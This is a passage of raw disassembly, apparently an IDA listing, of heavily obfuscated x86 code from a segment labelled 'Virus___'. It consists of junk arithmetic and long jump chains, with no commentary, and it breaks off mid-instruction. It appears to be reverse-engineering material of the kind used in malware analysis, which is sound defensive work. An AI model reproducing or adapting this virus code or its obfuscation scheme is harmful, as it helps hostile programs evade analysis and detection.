sub_545A2B+4C15j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push 2300h mov [esp+4+var_4], ecx push ebx mov ebx, 78BA09F2h dec ebx shl ebx, 1 xor ebx, 0B4AA60F9h jmp loc_546575 sub_54D94C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D97D: ; CODE XREF: sub_545A2B+357Fj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-50h+arg_4C] pop esp mov [esp-54h+arg_50], ecx mov cl, bh jmp loc_547EC3 ; --------------------------------------------------------------------------- loc_54D996: ; CODE XREF: sub_545A2B-FEj pop eax neg ecx jmp loc_54B345 ; --------------------------------------------------------------------------- loc_54D99E: ; CODE XREF: sub_545A2B-1578j mov [esp-16h+arg_12], edi push 468412Eh push [esp-12h+arg_E] pop edi add esp, 4 shl edi, 7 shr edi, 8 push edx mov edx, 43462C2Ah sub edi, edx pop edx push ebx push ecx jmp loc_54DB50 ; --------------------------------------------------------------------------- loc_54D9C3: ; CODE XREF: sub_545A2B+4BDEj not edi add edi, 0F43B9708h sub eax, edi jmp loc_548B09 ; --------------------------------------------------------------------------- loc_54D9D2: ; CODE XREF: sub_545A2B+772Ej add [esp-16h+arg_12], 4 push [esp-16h+arg_12] pop ecx add esp, 4 add ecx, 4 add ecx, 4 jmp loc_5489E5 ; --------------------------------------------------------------------------- loc_54D9F4: ; CODE XREF: sub_545A2B+4281j push edi jmp loc_5473C4 ; --------------------------------------------------------------------------- loc_54D9FA: ; CODE XREF: sub_545A2B+812Aj mov ebx, 0B59AA713h xor ebx, ecx pop ecx add edi, ebx pop ebx shl edi, 4 push eax mov eax, 30F70AACh shr eax, 5 or eax, 6C784C0Fh jmp loc_5468C4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54DA1B proc near ; CODE XREF: sub_545A2B+251Aj push ebp mov ebp, 7DAF13C7h jmp loc_549257 sub_54DA1B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DA26: ; CODE XREF: sub_545A2B+4E64j add edi, eax pop eax mov eax, edi mov edi, [esp+0] add esp, 4 jmp loc_54EE18 ; --------------------------------------------------------------------------- loc_54DA39: ; CODE XREF: sub_545A2B+64Dj not eax add eax, 0E5E02FA2h mov ebx, eax jmp loc_54D4C3 ; --------------------------------------------------------------------------- loc_54DA47: ; CODE XREF: sub_545A2B+1FB5j sub edx, 6B265AF9h jmp loc_54B1F2 ; --------------------------------------------------------------------------- loc_54DA52: ; CODE XREF: sub_545A2B+57D3j add ebx, esi pop esi xchg ebx, [esp+0] pop esp mov edi, esi pop esi jmp loc_5499F5 ; --------------------------------------------------------------------------- loc_54DA61: ; CODE XREF: sub_545A2B+4750j push eax mov eax, 2694138Ah xor ecx, eax mov eax, [esp-24h+arg_1E+2] add esp, 4 add esi, 4D2A6B78h add esi, ecx sub esi, 4D2A6B78h pop ecx sub esp, 4 mov [esp-28h+arg_22+2], ecx jmp loc_544EB5 ; --------------------------------------------------------------------------- loc_54DA8C: ; CODE XREF: sub_545A2B+30ADj pop esp mov word ptr [esp-34h+arg_2E+2], cx movzx cx, al push cx pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54DA9D: ; CODE XREF: sub_545A2B+742Fj push esp mov ebp, [esp-8+arg_4] add esp, 4 jmp loc_54C43B ; --------------------------------------------------------------------------- loc_54DAA9: ; CODE XREF: sub_545A2B+42D6j mov [esp-16h+arg_12], ecx mov ecx, 4 push ebx mov ebx, 65CA7755h add ebx, 0B276FA7Bh sub esi, ebx pop ebx add esi, ecx push ebp mov ebp, 184171D0h sub esi, 6ECA1076h sub esi, 25683E2Bh add esi, ebp add esi, 25683E2Bh add esi, 6ECA1076h pop ebp pop ecx jmp loc_54320D ; --------------------------------------------------------------------------- loc_54DAE9: ; CODE XREF: sub_545A2B+5285j pop edx jmp loc_5460FF ; --------------------------------------------------------------------------- loc_54DAEF: ; CODE XREF: sub_545A2B+5F6Ej mov edx, 2 add edi, edx mov edx, [esp-2Eh+arg_2A] push ecx push esp pop ecx jmp loc_546AC0 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54DB01: ; CODE XREF: Virus___:00543C2Fj push 233423ADh pop edi inc edi neg edi jmp loc_543E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DB0F: ; CODE XREF: sub_545A2B-1141j add al, 3Dh add al, bl sub al, 3Dh push 29C5h mov [esp-4Ch+arg_46+2], ecx mov cl, 6 sub al, 95h sub al, cl add al, 95h push [esp-4Ch+arg_46+2] jmp loc_549BF5 ; --------------------------------------------------------------------------- loc_54DB2D: ; CODE XREF: sub_545A2B+82B4j pop esi sub edx, 2E52221Eh push 0B0ACB670h push [esp-48h+arg_42+2] pop eax jmp loc_54BF3C ; --------------------------------------------------------------------------- loc_54DB42: ; CODE XREF: sub_545A2B+1455j pop edx push 5D81h mov [esp+0Ah+var_C+2], edi jmp loc_54CF67 ; --------------------------------------------------------------------------- loc_54DB50: ; CODE XREF: sub_545A2B+7F93j mov ecx, 4A6558ECh jmp loc_54D9FA ; --------------------------------------------------------------------------- loc_54DB5A: ; CODE XREF: sub_545A2B+5D3Bj add ebx, edx pop edx add ebx, 2 xchg ebx, [esp-14h+arg_E+2] pop esp jmp loc_54620D ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543680 loc_54DB6C: ; CODE XREF: sub_543680+20j add edx, 4 sub edx, 4 jmp loc_54AD4B ; END OF FUNCTION CHUNK FOR sub_543680 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DB7D: ; CODE XREF: sub_545A2B+E44j pop eax jmp loc_54E4BC ; --------------------------------------------------------------------------- loc_54DB83: ; CODE XREF: sub_545A2B+1ABAj mov edi, eax pop eax shl edi, 5 jmp loc_54DF59 ; --------------------------------------------------------------------------- loc_54DB8E: ; CODE XREF: sub_545A2B+1DBCj add esi, 4 push ebp mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp-10h+arg_A+2] mov esp, [esp-10h+arg_A+2] add esp, 4 or eax, eax jz loc_5451AF push dword ptr [edi+28h] mov eax, [esp-10h+arg_A+2] push edi mov edi, esp add edi, 4 jmp loc_545E6B ; --------------------------------------------------------------------------- loc_54DBC5: ; CODE XREF: sub_545A2B+6053j mov ebp, 54306462h shr ebp, 1 jmp loc_54DD0D ; --------------------------------------------------------------------------- loc_54DBD1: ; CODE XREF: sub_545A2B+3C21j push esi mov esi, 31795268h push ecx jmp loc_543AB5 ; --------------------------------------------------------------------------- loc_54DBDD: ; CODE XREF: sub_545A2B+7AA0j add esp, 4 loc_54DBE3: ; CODE XREF: sub_545A2B+620Cj ; sub_545A2B+9110j push [esp-22h+arg_1E] jmp loc_544B64 ; --------------------------------------------------------------------------- loc_54DBEB: ; CODE XREF: sub_545A2B+4BC7j push edx mov edx, 4DDD4EC5h xor edi, edx pop edx add eax, edi pop edi sub ebx, 67B869FFh jmp loc_54C6EB ; --------------------------------------------------------------------------- loc_54DC02: ; CODE XREF: sub_545A2B-4DFj inc ecx sub ecx, 90B506Ah add ecx, 8D471C6h add eax, ecx jmp loc_54BA32 ; --------------------------------------------------------------------------- loc_54DC16: ; CODE XREF: sub_545A2B+3654j xor edi, 0E1F795EFh and eax, edi mov edi, [esp-26h+arg_22] add esp, 4 or eax, eax jz loc_54A36C push dword ptr [edi+1Ch] push [esp-26h+arg_22] pop ecx push ebp jmp loc_54DE38 ; --------------------------------------------------------------------------- loc_54DC3C: ; CODE XREF: sub_545A2B+75B9j push 4047h mov [esp+16h+var_16], ebx mov ebx, 2 add esi, ebx jmp loc_546E32 ; --------------------------------------------------------------------------- loc_54DC50: ; CODE XREF: sub_545A2B+4BB9j add esp, 4 push [esp-1Eh+arg_1A] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-1Ah+arg_16] mov esp, [esp-1Ah+arg_16] push ebx mov ebx, 62E01204h xor edi, ebx pop ebx push 54FAh jmp loc_54C0F5 ; --------------------------------------------------------------------------- loc_54DC7F: ; CODE XREF: sub_545A2B-1331j xchg eax, edi not eax xchg eax, edi jmp sub_54E5AF ; --------------------------------------------------------------------------- loc_54DC88: ; CODE XREF: sub_545A2B+76DCj pop esp sub esp, 4 mov [esp-10h+arg_A+2], edx sub esp, 4 mov [esp+0], ecx mov cl, 57h inc cl sub esp, 4 mov [esp-8+arg_4], edx mov dh, 0A5h jmp loc_54EC2E ; --------------------------------------------------------------------------- loc_54DCAF: ; CODE XREF: sub_545A2B-1337j xor edx, [esp-36h+arg_32] jmp loc_54EB48 ; --------------------------------------------------------------------------- loc_54DCB7: ; CODE XREF: sub_545A2B-26DAj pop ecx push 5E2Fh mov [esp-14h+arg_E+2], ebp push 2DFCh jmp loc_54CBF3 ; --------------------------------------------------------------------------- loc_54DCCA: ; CODE XREF: sub_545A2B+2292j pop ebx xor edx, 2CE05806h push esi mov esi, 48DD3ABEh add esi, 2447EDFEh or edx, esi jmp loc_54DB2D ; --------------------------------------------------------------------------- loc_54DCE4: ; CODE XREF: sub_545A2B-150Bj push eax jmp loc_54426E ; --------------------------------------------------------------------------- loc_54DCEA: ; CODE XREF: sub_545A2B+42FAj mov [esp+0], edi mov edi, 748F4A19h shl edi, 6 jmp loc_54BF09 ; --------------------------------------------------------------------------- loc_54DCFA: ; CODE XREF: sub_545A2B+907Ej sub edx, 0CA03075h sub edx, 66746187h add ebp, edx jmp loc_54A60E ; --------------------------------------------------------------------------- loc_54DD0D: ; CODE XREF: sub_545A2B+81A1j add ebp, 0D5E7CDD3h add ebx, 49EB4044h add ebx, ebp sub ebx, 49EB4044h jmp loc_5485B6 ; --------------------------------------------------------------------------- loc_54DD26: ; CODE XREF: sub_545A2B+1AD4j add ebp, 4 sub ebp, 4 xchg ebp, [esp-1Eh+arg_1A] pop esp mov [esp-22h+arg_1E], ebp push esi mov esi, 64B56D15h and esi, 3267249Ch not esi shr esi, 1 and esi, 34351F5h not esi sub esi, 0E81A5951h jmp loc_54EDE5 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_54DD59: ; CODE XREF: sub_543A46+AD31j push esi jmp loc_544F7E ; END OF FUNCTION CHUNK FOR sub_543A46 ; =============== S U B R O U T I N E ======================================= sub_54DD5F proc near ; DATA XREF: Virus___:00542EB0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push 233Bh mov [esp+4+var_4], ecx sub esp, 4 mov [esp+8+var_8], esi push 50FBh mov [esp+0Ch+var_C], ebx jmp loc_54B3D5 sub_54DD5F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DD7D: ; CODE XREF: sub_545A2B+5E58j not eax add eax, 7F693151h not eax shr eax, 8 jmp loc_547B09 ; --------------------------------------------------------------------------- loc_54DD8E: ; CODE XREF: sub_545A2B+5131j sub ebp, 18AE070h mov ecx, ebp pop ebp jmp loc_548127 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54DD9C proc near ; DATA XREF: Virus___:00542E4Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 0054D083 SIZE 00000055 BYTES mov cx, [esp+0] push 63C1h mov [esp+4+var_4], edx jmp loc_54D083 sub_54DD9C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DDAD: ; CODE XREF: sub_545A2B+5896j pop esp sub al, bl add al, 7Ch push small 7098h mov word ptr [esp-22h+arg_1E], cx mov ch, 4Ch sub al, 0F3h jmp sub_54C9ED ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E287 loc_54DDC3: ; CODE XREF: sub_54E287-9449j push [esp+4+var_4] jmp loc_5480E4 ; END OF FUNCTION CHUNK FOR sub_54E287 ; --------------------------------------------------------------------------- loc_54DDCB: ; CODE XREF: Virus___:0054D7FBj mov edx, esp jmp loc_54C050 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DDD2: ; CODE XREF: sub_545A2B+3C8j and eax, 14D07A58h add eax, 0FFFFBE04h sub ebp, 4ED9251Dh add ebp, eax add ebp, 4ED9251Dh pop eax sub esp, 4 mov [esp-1Eh+arg_1A], ebx jmp loc_54C832 ; --------------------------------------------------------------------------- loc_54DDF6: ; CODE XREF: sub_545A2B+416Aj pop ebx xchg edi, [esp-10h+arg_A+2] pop esp shr eax, 0Bh xor ecx, eax jmp loc_547073 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D92A loc_54DE05: ; CODE XREF: sub_54D92A+9j push eax jmp loc_549C76 ; END OF FUNCTION CHUNK FOR sub_54D92A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DE0B: ; CODE XREF: sub_545A2B-78Ej mov [esp-4+arg_0], edx mov edx, 4 sub esi, 43913B1Fh sub esi, edx add esi, 43913B1Fh pop edx xchg esi, [esp-8+arg_4] pop esp mov [esp+0], esp add dword ptr [esp+0], 4 pop edx push 6350h jmp loc_544C6F ; --------------------------------------------------------------------------- loc_54DE38: ; CODE XREF: sub_545A2B+820Cj push esp mov ebp, [esp-1Eh+arg_1A] jmp loc_5450D7 ; --------------------------------------------------------------------------- loc_54DE41: ; CODE XREF: sub_545A2B-2936j add edi, 4 xchg edi, [esp-0Eh+arg_A] mov esp, [esp-0Eh+arg_A] or edx, eax shl edx, 1 push 7FF9h mov [esp-0Ah+arg_4+2], ebp mov ebp, 1 push eax push ecx jmp loc_54A50B ; --------------------------------------------------------------------------- loc_54DE65: ; CODE XREF: sub_545A2B+6008j add eax, ebx sub eax, 7BA8615Ch sub eax, 439B7276h jmp sub_54E933 ; --------------------------------------------------------------------------- loc_54DE76: ; CODE XREF: sub_545A2B+103Ej mov [esp-3Ch+arg_36+2], edx push 2Ch pop edx jmp loc_544D90 ; --------------------------------------------------------------------------- loc_54DE84: ; CODE XREF: sub_545A2B+42A5j xchg esi, [esp-1Ah+arg_16] jmp loc_54A673 ; --------------------------------------------------------------------------- loc_54DE8C: ; CODE XREF: sub_545A2B+710Ej sub [esp-24h+arg_1E+2], 5E7A0D44h pop ebx jmp loc_544C0D ; --------------------------------------------------------------------------- loc_54DE99: ; CODE XREF: sub_545A2B+68E7j mov [esp-3Ah+arg_36], edx jmp loc_54744B ; --------------------------------------------------------------------------- loc_54DEA1: ; CODE XREF: sub_545A2B-2203j add edi, 187630B3h shl edi, 5 push edx mov edx, 49750748h jmp loc_54A5FE ; --------------------------------------------------------------------------- loc_54DEB5: ; CODE XREF: sub_545A2B+5D8Dj mov esi, 342B193Fh add esi, 2D3C38F5h add esi, 9E98ADD0h jmp loc_544621 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54DECB proc near ; CODE XREF: sub_545A2B+6D2Fj push ebp jmp loc_54A30E sub_54DECB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DED1: ; CODE XREF: sub_545A2B+7323j pop edi add esp, 4 pop [esp-0Ah+arg_4+2] pop esp shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp-0Eh+arg_A], eax jmp loc_54D464 ; --------------------------------------------------------------------------- loc_54DEEC: ; CODE XREF: sub_545A2B+40DFj or ebp, 45BE5089h and ebp, 51E41617h sub ebp, 456A6515h push eax mov eax, 4D816B4Ah jmp loc_54F188 ; --------------------------------------------------------------------------- loc_54DF09: ; CODE XREF: sub_545A2B+1B9Bj add edx, 1 sub edx, 7E920022h push 2F33h mov [esp-1Ch+arg_16+2], ebp jmp loc_548E09 ; --------------------------------------------------------------------------- loc_54DF22: ; CODE XREF: sub_545A2B+5849j add [esp+4], ebp mov ebp, [esp-8+arg_4] jmp loc_54A11A ; --------------------------------------------------------------------------- loc_54DF2E: ; CODE XREF: sub_545A2B+55A9j add eax, 4 push ecx push edi push 517D55A5h jmp loc_5433E1 ; --------------------------------------------------------------------------- loc_54DF3F: ; CODE XREF: sub_545A2B+9709j push esi push edx jmp loc_54B170 ; --------------------------------------------------------------------------- loc_54DF46: ; CODE XREF: sub_545A2B+3D35j add ecx, edi pop edi add eax, ecx pop ecx add eax, 4 xor eax, [esp-48h+arg_42+2] jmp loc_54C971 ; --------------------------------------------------------------------------- loc_54DF59: ; CODE XREF: sub_545A2B+815Ej sub edi, 4BCA467Ch jmp loc_545433 ; --------------------------------------------------------------------------- loc_54DF64: ; CODE XREF: sub_545A2B-F27j mov eax, 4 jmp loc_547DBC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54DF6E: ; DATA XREF: Virus___:00542E7Co push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push 38CFh mov [esp], ecx mov ecx, esp push eax push esi mov esi, 7D802DCEh jmp loc_544B22 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 49935BFEh add edx, 0B66CA406h sub ebp, 1CAB46D1h jmp loc_54B1A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54DFB6: ; CODE XREF: sub_545A2B+1159j mov ebp, 43703714h mov eax, 63B65768h sub eax, ebp pop ebp xor ecx, eax jmp loc_545A6E ; --------------------------------------------------------------------------- loc_54DFCA: ; CODE XREF: sub_545A2B-1788j sub eax, 153A09A9h mov ecx, eax pop eax xor ecx, 6A9665Fh jmp loc_54A85D ; --------------------------------------------------------------------------- loc_54DFDD: ; CODE XREF: sub_545A2B+5229j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+4+var_4] pop esp mov [esp+0], esi push 6AFCh mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_54D795 ; --------------------------------------------------------------------------- loc_54E003: ; CODE XREF: sub_545A2B+6714j mov ch, dl push [esp-16h+arg_12] pop edx add esp, 4 jmp loc_544796 ; --------------------------------------------------------------------------- loc_54E011: ; CODE XREF: sub_545A2B+103j inc ecx xor ecx, 822C80BFh mov ebx, ecx pop ecx add ebx, 19DE1F38h sub ebx, 11855214h add ebx, edi sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 11855214h add ebx, ecx mov ecx, [esp+0Ch+var_C] jmp loc_54ADE4 ; --------------------------------------------------------------------------- loc_54E041: ; CODE XREF: sub_545A2B+5830j push [esp-2Ah+arg_26] pop eax push esi mov esi, esp push edx mov edx, 5264313Ch dec edx xor edx, 7B2952B3h or edx, 12686ED0h sub edx, 3B6D6FD4h add esi, edx pop edx push edx jmp loc_54CB1D ; --------------------------------------------------------------------------- loc_54E06A: ; CODE XREF: sub_545A2B+89Cj pop ecx add edx, ecx pop ecx jmp loc_549B0F ; --------------------------------------------------------------------------- loc_54E073: ; CODE XREF: sub_545A2B+98CEj mov edx, [esp-1Ah+arg_16] push ebp push esp pop ebp add ebp, 4 jmp loc_54B79D ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54E084: ; CODE XREF: Virus___:005439FCj push ebx push esp pop ebx push edx mov edx, 4 add ebx, edx pop edx jmp loc_54E4E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E095: ; CODE XREF: sub_545A2B-ACAj shl dh, 3 sub dh, 0D9h add cl, dh mov edx, [esp-1Ch+arg_16+2] jmp loc_54303F ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E0A5 proc near ; CODE XREF: sub_545A2B+69EBj push ebx mov ebx, 4 jmp loc_5463E8 sub_54E0A5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E0B0: ; CODE XREF: sub_545A2B+47E2j add esp, 2 sub bl, al push eax jmp loc_548256 ; --------------------------------------------------------------------------- loc_54E0BE: ; CODE XREF: sub_545A2B-2217j add ebx, 0BAB420Ah dec ebx inc ebx dec ebx inc ebx sub ebx, 40B29FE7h add ebp, ebx pop ebx push ecx jmp loc_546F87 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E0D7 proc near ; CODE XREF: sub_545A2B+181Cj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0054CDDB SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_54CDDB sub_54E0D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E0E5: ; CODE XREF: sub_545A2B+5850j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-1Ch+arg_16+2] pop esp push esi jmp loc_54E52B ; --------------------------------------------------------------------------- loc_54E0FD: ; CODE XREF: sub_545A2B+3BC2j pop ecx pop ecx pop eax add eax, 6EE338C5h push ebp jmp loc_546F60 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E10B proc near ; CODE XREF: sub_545A2B+4508j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], esi push 35h push esp pop [esp+0Ch+var_C] add [esp+8+var_8], 4 pop esi add esi, 4 push ebx mov ebx, 40206424h shl ebx, 1 push edx jmp sub_54EDB2 sub_54E10B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E139: ; CODE XREF: sub_545A2B-25F7j add ecx, ebx pop ebx push ecx push [esp-2Ch+arg_2A+2] pop ecx pop [esp-2Ch+arg_26+2] mov esp, [esp-30h+arg_2A+2] bts word ptr [esp-30h+arg_2A+2], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54E153: ; CODE XREF: sub_545A2B+4F10j mov ch, 59h sub dl, ch jmp loc_54A7F9 ; --------------------------------------------------------------------------- loc_54E15C: ; CODE XREF: sub_545A2B+16EAj mov bh, 0EAh or cl, bh pop bx inc cl shl cl, 7 jmp loc_5488F6 ; --------------------------------------------------------------------------- loc_54E16C: ; CODE XREF: sub_545A2B+2FA0j sub ebx, 207B1493h sub ebx, 1 shl ebx, 4 add ebx, 0F3AC6139h sub esi, ebx pop ebx jmp loc_54B15F ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E186 proc near ; CODE XREF: sub_545A2B+792Ej push ebp mov ebp, 4 jmp loc_54997F sub_54E186 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E191: ; CODE XREF: sub_545A2B+20D9j mov [esp-44h+arg_3E+2], esi mov esi, esp push eax jmp loc_546F50 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54E19C: ; CODE XREF: Virus___:005452D0j mov ebx, 6DC5590Eh jmp loc_54A953 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E1A6: ; CODE XREF: sub_545A2B+3861j shl cl, 3 push edx mov dl, 63h jmp loc_547370 ; --------------------------------------------------------------------------- loc_54E1B1: ; CODE XREF: sub_545A2B+48B2j mov ebx, 46BF58F5h dec ebx jmp loc_54BE46 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54C9ED loc_54E1BC: ; CODE XREF: sub_54C9ED-7947j mov bh, cl mov ecx, [esp+8+var_8] add esp, 4 push edx mov dh, 0F5h jmp loc_54641F ; END OF FUNCTION CHUNK FOR sub_54C9ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E1CF: ; CODE XREF: sub_545A2B-141Ej pop edi jmp loc_547777 ; --------------------------------------------------------------------------- loc_54E1D5: ; CODE XREF: sub_545A2B+520Ej and cl, 7Ah add cl, 79h xor bh, cl pop ecx not bh sub bh, 1Ah mov dl, bh pop ebx push ebx jmp loc_54EECE ; --------------------------------------------------------------------------- loc_54E1EC: ; CODE XREF: sub_545A2B+583Fj sub ecx, ebx pop ebx add ecx, 6C1142D3h push edx mov edx, 3373087Fh jmp loc_54D742 ; --------------------------------------------------------------------------- loc_54E200: ; CODE XREF: sub_545A2B+5336j pop esi xor esi, edx pop edx add ebx, 71CB02C3h jmp loc_546C20 ; --------------------------------------------------------------------------- loc_54E20F: ; CODE XREF: sub_545A2B-1C52j add al, 9Eh jmp loc_54646F ; --------------------------------------------------------------------------- loc_54E216: ; CODE XREF: sub_545A2B-1DA8j push eax mov eax, 39D61F6Dh jmp loc_54ED30 ; --------------------------------------------------------------------------- loc_54E221: ; CODE XREF: sub_545A2B-29E3j push edx mov dh, 80h push bx jmp loc_546D0B ; --------------------------------------------------------------------------- loc_54E22B: ; CODE XREF: sub_545A2B+4099j mov ch, 1Ch xor ch, 55h shl ch, 4 jmp loc_5480DC ; --------------------------------------------------------------------------- loc_54E238: ; CODE XREF: sub_545A2B+8FF5j mov esi, 4 add [esp-18h+arg_16+2], esi pop esi pop edx add edx, 4 add edx, 4 push edx push [esp-1Ch+arg_1A+2] mov edx, [esp-18h+arg_12+2] add esp, 4 pop [esp-1Ch+arg_16+2] mov esp, [esp-20h+arg_1A+2] rep movsd jmp loc_54CC9C ; --------------------------------------------------------------------------- loc_54E264: ; CODE XREF: sub_545A2B+41CEj push 3D23h mov [esp+16h+var_16], edx jmp loc_54D01A ; --------------------------------------------------------------------------- loc_54E271: ; CODE XREF: sub_545A2B+4FE7j sub [edi+24h], ecx mov ecx, [esp-36h+arg_32] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-32h+arg_2E] pop esp ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E287 proc near ; CODE XREF: sub_545A2B+19F7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00544E3D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0054DDC3 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebx push ecx mov ecx, 4FA32124h sub [esp+8+var_4], ecx jmp loc_544E3D sub_54E287 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E29F: ; CODE XREF: sub_545A2B+39ECj neg ebp add ebp, 8014800Ch add ecx, ebp pop ebp jmp loc_546483 ; --------------------------------------------------------------------------- loc_54E2AF: ; CODE XREF: sub_545A2B+36E5j pop esp mov [esp-26h+arg_22], ebp jmp loc_54CFF6 ; --------------------------------------------------------------------------- loc_54E2B8: ; CODE XREF: sub_545A2B+5A80j add esp, 4 add [esp-48h+arg_42+2], 2A4753B9h jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54E2C7: ; CODE XREF: sub_545A2B+3B2Aj push edx jmp loc_547F71 ; --------------------------------------------------------------------------- loc_54E2CD: ; CODE XREF: sub_545A2B+A6Fj pop esp mov [esp-50h+arg_4C], esi mov esi, 2133745Ch jmp loc_54E3B4 ; --------------------------------------------------------------------------- loc_54E2DB: ; CODE XREF: sub_545A2B+1940j mov [esp-26h+arg_22], eax jmp loc_5473CA ; --------------------------------------------------------------------------- loc_54E2E3: ; CODE XREF: sub_545A2B+620j mov [esp-14h+arg_E+2], ecx push edx push 540E7BE5h pop edx sub edx, 4E71084h inc edx sub edx, 2E9FD88h mov ecx, edx pop edx shr ecx, 1 or ecx, 226B3C34h neg ecx not ecx jmp loc_545472 ; --------------------------------------------------------------------------- loc_54E30E: ; CODE XREF: sub_545A2B+9247j add edx, 0FFFFFFFFh neg edx and edx, 504F1D64h add edx, 39F421B4h xor ebp, edx pop edx add eax, ebp jmp loc_549396 ; --------------------------------------------------------------------------- loc_54E32C: ; CODE XREF: sub_545A2B+984j sub ebp, 4DC1495Fh add ebp, 559214ECh add ebp, ecx sub ebp, 559214ECh add ebp, 4DC1495Fh pop ecx push edi mov edi, 4 jmp loc_54968F ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E352 proc near ; CODE XREF: sub_545A2B+5C27j push ebx mov ebx, 0C26ABACFh add edx, ebx pop ebx add ecx, 7DCE5A44h add ecx, edx sub ecx, 7DCE5A44h mov edx, [esp+0] add esp, 4 push eax mov eax, 4 add ecx, eax jmp loc_547C17 sub_54E352 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E37C: ; CODE XREF: sub_545A2B+D87j mov [esp-46h+arg_42], ebx mov bh, 3 mov ah, bh mov ebx, [esp-46h+arg_42] push edx jmp loc_54591C ; --------------------------------------------------------------------------- loc_54E38C: ; CODE XREF: sub_545A2B+5579j neg bh add bh, 0FFh push ax mov al, 0Dh xor bh, al jmp loc_54B910 ; --------------------------------------------------------------------------- loc_54E39C: ; CODE XREF: sub_545A2B+6BFFj mov esi, 48A70D1Eh not esi jmp loc_54E48A ; --------------------------------------------------------------------------- loc_54E3A8: ; CODE XREF: sub_545A2B+2E0Bj shl eax, 6 xchg eax, ebp not ebp xchg eax, ebp jmp loc_54D574 ; --------------------------------------------------------------------------- loc_54E3B4: ; CODE XREF: sub_545A2B+88ABj push ebp push ebx mov ebx, 21337460h mov ebp, 